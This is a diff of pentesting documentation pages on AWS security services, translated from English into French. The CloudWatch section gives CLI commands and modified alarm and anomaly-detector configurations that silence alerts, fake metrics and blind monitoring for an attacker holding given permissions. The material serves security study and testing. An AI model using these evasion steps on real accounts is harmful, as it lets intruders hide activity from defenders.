+"Value": "i-01234567890123456"
+}
+],
+"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"],
+"ComparisonOperator": "GreaterThanThreshold",
+"DatapointsToAlarm": 4,
+"EvaluationPeriods": 6,
+"Period": 300,
+"Statistic": "Average",
+"Threshold": 60,
+"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%",
+"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization"
 }
 ```
-
 {{#endtab }}
 
-{{#tab name="Modified Metric Alarm" }}
-
+{{#tab name="Alarme de métrique modifiée" }}
 ```json
 {
-  "Namespace": "AWS/EC2",
-  "MetricName": "CPUUtilization",
-  "Dimensions": [
-    {
-      "Name": "InstanceId",
-      "Value": "i-0645d6d414dadf9f8"
-    }
-  ],
-  "AlarmActions": [],
-  "ComparisonOperator": "GreaterThanThreshold",
-  "DatapointsToAlarm": 8640,
-  "EvaluationPeriods": 8640,
-  "Period": 10,
-  "Statistic": "Average",
-  "Threshold": 99,
-  "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold",
-  "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization"
+"Namespace": "AWS/EC2",
+"MetricName": "CPUUtilization",
+"Dimensions": [
+{
+"Name": "InstanceId",
+"Value": "i-0645d6d414dadf9f8"
+}
+],
+"AlarmActions": [],
+"ComparisonOperator": "GreaterThanThreshold",
+"DatapointsToAlarm": 8640,
+"EvaluationPeriods": 8640,
+"Period": 10,
+"Statistic": "Average",
+"Threshold": 99,
+"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold",
+"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization"
 }
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents.
+**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiellement non détectés, fausses alertes, suppression d'alertes authentiques et détections potentiellement manquées d'incidents réels.
 
-### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
+### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
 
-By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response.
+En supprimant les actions d'alarme, l'attaquant pourrait empêcher des alertes critiques et des réponses automatisées d'être déclenchées lorsqu'un état d'alarme est atteint, comme notifier les administrateurs ou déclencher des activités d'auto-scaling. Activer ou réactiver des actions d'alarme de manière inappropriée pourrait également entraîner des comportements inattendus, soit en réactivant des actions précédemment désactivées, soit en modifiant les actions qui sont déclenchées, ce qui pourrait causer de la confusion et une mauvaise orientation dans la réponse aux incidents.
 
-In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures.
-
-- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration.
+De plus, un attaquant ayant la permission pourrait manipuler les états d'alarme, étant capable de créer de fausses alarmes pour distraire et confondre les administrateurs, ou de faire taire de véritables alarmes pour cacher des activités malveillantes en cours ou des pannes critiques du système.
 
+- Si vous utilisez **`SetAlarmState`** sur une alarme composite, l'alarme composite n'est pas garantie de revenir à son état réel. Elle ne revient à son état réel que lorsque l'un de ses alarmes enfants change d'état. Elle est également réévaluée si vous mettez à jour sa configuration.
 ```bash
 aws cloudwatch disable-alarm-actions --alarm-names <value>
 aws cloudwatch enable-alarm-actions --alarm-names <value>
 aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
 ```
-
-**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents.
+**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiellement non détectés, fausses alertes, suppression d'alertes réelles et détections potentiellement manquées d'incidents réels.
 
 ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
 
-An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring.
-
+Un attaquant pourrait compromettre la capacité de détection et de réponse à des modèles ou des anomalies inhabituels dans les données métriques. En supprimant des détecteurs d'anomalies existants, un attaquant pourrait désactiver des mécanismes d'alerte critiques ; et en les créant ou en les modifiant, il pourrait soit mal configurer, soit créer de faux positifs afin de distraire ou de submerger la surveillance.
 ```bash
 aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
 aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
 ```
-
-The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period.
+L'exemple suivant montre comment rendre un détecteur d'anomalies de métriques inefficace. Ce détecteur d'anomalies de métriques surveille l'utilisation moyenne du CPU d'une instance EC2 spécifique, et il suffirait d'ajouter le paramètre “ExcludedTimeRanges” avec la plage horaire souhaitée pour s'assurer que le détecteur d'anomalies n'analyse ni n'alerte sur des données pertinentes pendant cette période.
 
 {{#tabs }}
 {{#tab name="Original Metric Anomaly Detector" }}
-
 ```json
 {
-  "SingleMetricAnomalyDetector": {
-    "Namespace": "AWS/EC2",
-    "MetricName": "CPUUtilization",
-    "Stat": "Average",
-    "Dimensions": [
-      {
-        "Name": "InstanceId",
-        "Value": "i-0123456789abcdefg"
-      }
-    ]
-  }
+"SingleMetricAnomalyDetector": {
+"Namespace": "AWS/EC2",
+"MetricName": "CPUUtilization",
+"Stat": "Average",
+"Dimensions": [
+{
+"Name": "InstanceId",
+"Value": "i-0123456789abcdefg"
+}
+]
+}
 }
 ```
-
 {{#endtab }}
 
-{{#tab name="Modified Metric Anomaly Detector" }}
-
+{{#tab name="Détecteur d'anomalies de métriques modifiées" }}
 ```json
 {
-  "SingleMetricAnomalyDetector": {
-    "Namespace": "AWS/EC2",
-    "MetricName": "CPUUtilization",
-    "Stat": "Average",
-    "Dimensions": [
-      {
-        "Name": "InstanceId",
-        "Value": "i-0123456789abcdefg"
-      }
-    ]
-  },
-  "Configuration": {
-    "ExcludedTimeRanges": [
-      {
-        "StartTime": "2023-01-01T00:00:00Z",
-        "EndTime": "2053-01-01T23:59:59Z"
-      }
-    ],
-    "Timezone": "Europe/Madrid"
-  }
+"SingleMetricAnomalyDetector": {
+"Namespace": "AWS/EC2",
+"MetricName": "CPUUtilization",
+"Stat": "Average",
+"Dimensions": [
+{
+"Name": "InstanceId",
+"Value": "i-0123456789abcdefg"
+}
+]
+},
+"Configuration": {
+"ExcludedTimeRanges": [
+{
+"StartTime": "2023-01-01T00:00:00Z",
+"EndTime": "2053-01-01T23:59:59Z"
+}
+],
+"Timezone": "Europe/Madrid"
+}
 }
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact**: Direct effect in the detection of unusual patterns or security threats.
+**Impact potentiel** : Effet direct sur la détection de modèles inhabituels ou de menaces à la sécurité.
 
 ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`**
 
-An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities.
-
+Un attaquant pourrait compromettre les capacités de surveillance et de visualisation d'une organisation en créant, modifiant ou supprimant ses tableaux de bord. Ces autorisations pourraient être utilisées pour supprimer une visibilité critique sur la performance et la santé des systèmes, modifier des tableaux de bord pour afficher des données incorrectes ou cacher des activités malveillantes.
 ```bash
 aws cloudwatch delete-dashboards --dashboard-names <value>
 aws cloudwatch put-dashboard --dashboard-name <value> --dashboard-body <value>
 ```
+**Impact potentiel** : Perte de visibilité de surveillance et informations trompeuses.
 
-**Potential Impact**: Loss of monitoring visibility and misleading information.
-
-### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`**
-
-Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team.
+### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`**
 
+Les règles d'insight sont utilisées pour détecter des anomalies, optimiser les performances et gérer les ressources efficacement. En supprimant les règles d'insight existantes, un attaquant pourrait éliminer des capacités de surveillance critiques, laissant le système aveugle aux problèmes de performance et aux menaces de sécurité. De plus, un attaquant pourrait créer ou modifier des règles d'insight pour générer des données trompeuses ou cacher des activités malveillantes, entraînant des diagnostics incorrects et des réponses inappropriées de l'équipe des opérations.
 ```bash
 aws cloudwatch delete-insight-rules --rule-names <value>
 aws cloudwatch put-insight-rule --rule-name <value> --rule-definition <value> [--rule-state <value>]
 aws cloudwatch put-managed-insight-rules --managed-rules <value>
 ```
-
-**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures.
+**Impact potentiel** : Difficulté à détecter et à répondre aux problèmes de performance et aux anomalies, prise de décision mal informée et potentiel dissimulation d'activités malveillantes ou de pannes système.
 
 ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
 
-By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity.
-
+En désactivant des règles d'insight critiques, un attaquant pourrait effectivement aveugler l'organisation sur des métriques clés de performance et de sécurité. Inversement, en activant ou en configurant des règles trompeuses, il pourrait être possible de générer des données fausses, de créer du bruit ou de cacher une activité malveillante.
 ```bash
 aws cloudwatch disable-insight-rules --rule-names <value>
 aws cloudwatch enable-insight-rules --rule-names <value>
 ```
-
-**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts.
+**Impact potentiel** : Confusion au sein de l'équipe des opérations, entraînant des réponses retardées aux problèmes réels et des actions inutiles basées sur de fausses alertes.
 
 ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
 
-An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity:
+Un attaquant avec les permissions **`cloudwatch:DeleteMetricStream`**, **`cloudwatch:PutMetricStream`** serait capable de créer et de supprimer des flux de données métriques, compromettant la sécurité, la surveillance et l'intégrité des données :
 
-- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations.
-- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues.
-- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden.
-
-Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless.
+- **Créer des flux malveillants** : Créer des flux métriques pour envoyer des données sensibles vers des destinations non autorisées.
+- **Manipulation des ressources** : La création de nouveaux flux métriques avec des données excessives pourrait produire beaucoup de bruit, entraînant des alertes incorrectes, masquant de véritables problèmes.
+- **Perturbation de la surveillance** : En supprimant des flux métriques, les attaquants perturberaient le flux continu de données de surveillance. De cette manière, leurs activités malveillantes seraient efficacement cachées.
 
+De même, avec la permission **`cloudwatch:PutMetricData`**, il serait possible d'ajouter des données à un flux métrique. Cela pourrait entraîner un DoS en raison de la quantité de données inappropriées ajoutées, rendant le flux complètement inutile.
 ```bash
 aws cloudwatch delete-metric-stream --name <value>
 aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
 aws cloudwatch put-metric-data --namespace <value> [--metric-data <value>] [--metric-name <value>] [--timestamp <value>] [--unit <value>] [--value <value>] [--dimensions <value>]
 ```
-
-Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance:
-
+Exemple d'ajout de données correspondant à une utilisation du CPU de 70 % sur une instance EC2 donnée :
 ```bash
 aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
 ```
-
-**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams.
+**Impact potentiel** : Disruption dans le flux de données de surveillance, impactant la détection des anomalies et des incidents, manipulation des ressources et augmentation des coûts en raison de la création de flux de métriques excessifs.
 
 ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
 
-An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams.
-
+Un attaquant contrôlerait le flux des flux de données de métriques affectés (chaque flux de données s'il n'y a pas de restriction de ressource). Avec la permission **`cloudwatch:StopMetricStreams`**, les attaquants pourraient cacher leurs activités malveillantes en arrêtant des flux de métriques critiques.
 ```bash
 aws cloudwatch stop-metric-streams --names <value>
 aws cloudwatch start-metric-streams --names <value>
 ```
-
-**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents.
+**Impact potentiel** : Perturbation du flux de données de surveillance, impactant la détection des anomalies et des incidents.
 
 ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`**
 
-An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags.
-
+Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources CloudWatch (actuellement uniquement des alarmes et des règles Contributor Insights). Cela pourrait perturber les politiques de contrôle d'accès de votre organisation basées sur des balises.
 ```bash
 aws cloudwatch tag-resource --resource-arn <value> --tags <value>
 aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
 ```
+**Impact potentiel** : Disruption des politiques de contrôle d'accès basées sur des balises.
 
-**Potential Impact**: Disruption of tag-based access control policies.
-
-## References
+## Références
 
 - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info)
 - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html)
 - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
index f2ab3c4c5..8160ca930 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md
@@ -4,47 +4,43 @@
 
 ## AWS Config
 
-AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**.
+AWS Config **capture les changements de ressources**, donc tout changement apporté à une ressource prise en charge par Config peut être enregistré, ce qui **enregistrera ce qui a changé ainsi que d'autres métadonnées utiles, le tout conservé dans un fichier connu sous le nom d'élément de configuration**, un CI. Ce service est **spécifique à la région**.
 
-A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too.
+Un élément de configuration ou **CI** comme on l'appelle, est un composant clé d'AWS Config. Il est composé d'un fichier JSON qui **contient les informations de configuration, les informations de relation et d'autres métadonnées sous forme d'une vue instantanée d'un moment donné d'une ressource prise en charge**. Toutes les informations qu'AWS Config peut enregistrer pour une ressource sont capturées dans le CI. Un CI est créé **chaque fois** qu'une ressource prise en charge subit un changement dans sa configuration de quelque manière que ce soit. En plus d'enregistrer les détails de la ressource affectée, AWS Config enregistrera également des CIs pour toutes les ressources directement liées afin de s'assurer que le changement n'a pas également affecté ces ressources.
 
-- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource.
-- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance
-- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in.
-- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information.
-- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created.
+- **Métadonnées** : Contient des détails sur l'élément de configuration lui-même. Un ID de version et un ID de configuration, qui identifient de manière unique le CI. D'autres informations peuvent inclure un MD5Hash qui vous permet de comparer d'autres CIs déjà enregistrés contre la même ressource.
+- **Attributs** : Cela contient des informations d'**attributs communs par rapport à la ressource réelle**. Dans cette section, nous avons également un ID de ressource unique, et toutes les balises de valeur clé qui sont associées à la ressource. Le type de ressource est également listé. Par exemple, si c'était un CI pour une instance EC2, les types de ressources listés pourraient être l'interface réseau, ou l'adresse IP élastique pour cette instance EC2.
+- **Relations** : Cela contient des informations sur toute **relation connectée que la ressource peut avoir**. Donc, dans cette section, il montrerait une description claire de toute relation avec d'autres ressources que cette ressource avait. Par exemple, si le CI était pour une instance EC2, la section des relations pourrait montrer la connexion à un VPC ainsi que le sous-réseau dans lequel l'instance EC2 réside.
+- **Configuration actuelle :** Cela affichera les mêmes informations qui seraient générées si vous deviez effectuer un appel API de description ou de liste effectué par l'AWS CLI. AWS Config utilise les mêmes appels API pour obtenir les mêmes informations.
+- **Événements liés** : Cela concerne AWS CloudTrail. Cela affichera l'**ID d'événement AWS CloudTrail qui est lié au changement qui a déclenché la création de ce CI**. Un nouveau CI est créé pour chaque changement apporté à une ressource. En conséquence, différents IDs d'événements CloudTrail seront créés.
 
-**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type.
+**Historique de configuration** : Il est possible d'obtenir l'historique de configuration des ressources grâce aux éléments de configuration. Un historique de configuration est livré toutes les 6 heures et contient tous les CI pour un type de ressource particulier.
 
-**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data.
+**Flux de configuration** : Les éléments de configuration sont envoyés à un sujet SNS pour permettre l'analyse des données.
 
-**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources.
+**Instantanés de configuration** : Les éléments de configuration sont utilisés pour créer un instantané à un moment donné de toutes les ressources prises en charge.
 
-**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account.
+**S3 est utilisé pour stocker** les fichiers d'historique de configuration et tous les instantanés de configuration de vos données dans un seul bucket, qui est défini dans l'enregistreur de configuration. Si vous avez plusieurs comptes AWS, vous voudrez peut-être agréger vos fichiers d'historique de configuration dans le même bucket S3 pour votre compte principal. Cependant, vous devrez accorder un accès en écriture pour ce principe de service, config.amazonaws.com, et vos comptes secondaires avec un accès en écriture au bucket S3 dans votre compte principal.
 
-### Functioning
+### Fonctionnement
 
-- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config
-- Stores everything in S3 bucket
-- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings
-- Lambda feeds back to Config
-- If rule has been broken, Config fires up an SNS
+- Lorsque des changements sont effectués, par exemple sur un groupe de sécurité ou une liste de contrôle d'accès de bucket —> déclenche un événement capté par AWS Config
+- Stocke tout dans un bucket S3
+- En fonction de la configuration, dès qu'un changement se produit, cela pourrait déclencher une fonction lambda OU planifier une fonction lambda pour examiner périodiquement les paramètres AWS Config
+- Lambda renvoie à Config
+- Si une règle a été enfreinte, Config déclenche un SNS
 
 ![](<../../../../images/image (126).png>)
 
-### Config Rules
+### Règles de Config
 
-Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\
-AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted.
+Les règles de Config sont un excellent moyen de vous **aider à appliquer des contrôles et des vérifications de conformité spécifiques** **sur vos ressources**, et vous permettent d'adopter une spécification de déploiement idéale pour chacun de vos types de ressources. Chaque règle **est essentiellement une fonction lambda** qui, lorsqu'elle est appelée, évalue la ressource et effectue une logique simple pour déterminer le résultat de conformité avec la règle. **Chaque fois qu'un changement est apporté** à l'une de vos ressources prises en charge, **AWS Config vérifiera la conformité par rapport à toutes les règles de configuration que vous avez en place**.\
+AWS dispose d'un certain nombre de **règles prédéfinies** qui relèvent du domaine de la sécurité et qui sont prêtes à l'emploi. Par exemple, Rds-storage-encrypted. Cela vérifie si le chiffrement de stockage est activé par vos instances de base de données RDS. Encrypted-volumes. Cela vérifie si des volumes EBS qui ont un état attaché sont chiffrés.
 
-- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist.
-- **Custom rules**: You can create your own rules to check specific customconfigurations.
+- **Règles gérées par AWS** : Ensemble de règles prédéfinies qui couvrent de nombreuses meilleures pratiques, donc il vaut toujours la peine de parcourir ces règles d'abord avant de configurer les vôtres car il y a une chance que la règle existe déjà.
+- **Règles personnalisées** : Vous pouvez créer vos propres règles pour vérifier des configurations personnalisées spécifiques.
 
-Limit of 50 config rules per region before you need to contact AWS for an increase.\
-Non compliant results are NOT deleted.
+Limite de 50 règles de configuration par région avant de devoir contacter AWS pour une augmentation.\
+Les résultats non conformes NE sont PAS supprimés.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
index 9fab39fb8..361c24c61 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
@@ -5,33 +5,31 @@
 ## Control Tower
 
 > [!NOTE]
-> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them.
+> En résumé, Control Tower est un service qui permet de définir des politiques pour tous vos comptes au sein de votre organisation. Ainsi, au lieu de gérer chacun d'eux, vous pouvez définir des politiques depuis Control Tower qui seront appliquées sur eux.
 
-AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS.
+AWS Control Tower est un **service fourni par Amazon Web Services (AWS)** qui permet aux organisations de configurer et de gouverner un environnement multi-comptes sécurisé et conforme dans AWS.
 
-AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog.
+AWS Control Tower fournit un **ensemble prédéfini de modèles de meilleures pratiques** qui peuvent être personnalisés pour répondre à des **exigences organisationnelles** spécifiques. Ces modèles incluent des services et des fonctionnalités AWS préconfigurés, tels qu'AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail et AWS Service Catalog.
 
-With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies.
+Avec AWS Control Tower, les administrateurs peuvent rapidement configurer un **environnement multi-comptes qui répond aux exigences organisationnelles**, telles que la **sécurité** et la conformité. Le service fournit un tableau de bord central pour visualiser et gérer les comptes et les ressources, et il automatise également la création de comptes, de services et de politiques.
 
-In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs.
+De plus, AWS Control Tower fournit des garde-fous, qui sont un ensemble de politiques préconfigurées garantissant que l'environnement reste conforme aux exigences organisationnelles. Ces politiques peuvent être personnalisées pour répondre à des besoins spécifiques.
 
-Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives.
+Dans l'ensemble, AWS Control Tower simplifie le processus de configuration et de gestion d'un environnement multi-comptes sécurisé et conforme dans AWS, facilitant ainsi aux organisations la concentration sur leurs objectifs commerciaux principaux.
 
 ### Enumeration
 
-For enumerating controltower controls, you first need to **have enumerated the org**:
+Pour énumérer les contrôles de controltower, vous devez d'abord **avoir énuméré l'organisation** :
 
 {{#ref}}
 ../aws-organizations-enum.md
 {{#endref}}
-
 ```bash
 # Get controls applied in an account
 aws controltower list-enabled-controls --target-identifier arn:aws:organizations::<acc_id>:ou/<ou-id>
 ```
-
 > [!WARNING]
-> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts
+> Control Tower peut également utiliser **Account factory** pour exécuter **CloudFormation templates** dans **les comptes et exécuter des services** (privesc, post-exploitation...) dans ces comptes
 
 ### Post Exploitation & Persistence
 
@@ -40,7 +38,3 @@ aws controltower list-enabled-controls --target-identifier arn:aws:organizations
 {{#endref}}
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
index 2f967331b..dd6b11fcf 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
@@ -2,18 +2,14 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Cost Explorer and Anomaly detection
+## Cost Explorer et détection d'anomalies
 
-This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\
-Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**.
+Cela vous permet de vérifier **comment vous dépensez de l'argent dans les services AWS** et vous aide à **détecter des anomalies**.\
+De plus, vous pouvez configurer une détection d'anomalies afin qu'AWS vous avertisse lorsqu'une **anomalie dans les coûts est trouvée**.
 
 ### Budgets
 
-Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\
-Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?).
+Les budgets aident à **gérer les coûts et l'utilisation**. Vous pouvez être **alerté lorsqu'un seuil est atteint**.\
+De plus, ils peuvent être utilisés pour un suivi non lié aux coûts, comme l'utilisation d'un service (combien de Go sont utilisés dans un bucket S3 particulier ?).
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
index 9d1a40eba..a25ba281a 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
@@ -4,9 +4,9 @@
 
 ## Detective
 
-**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations.
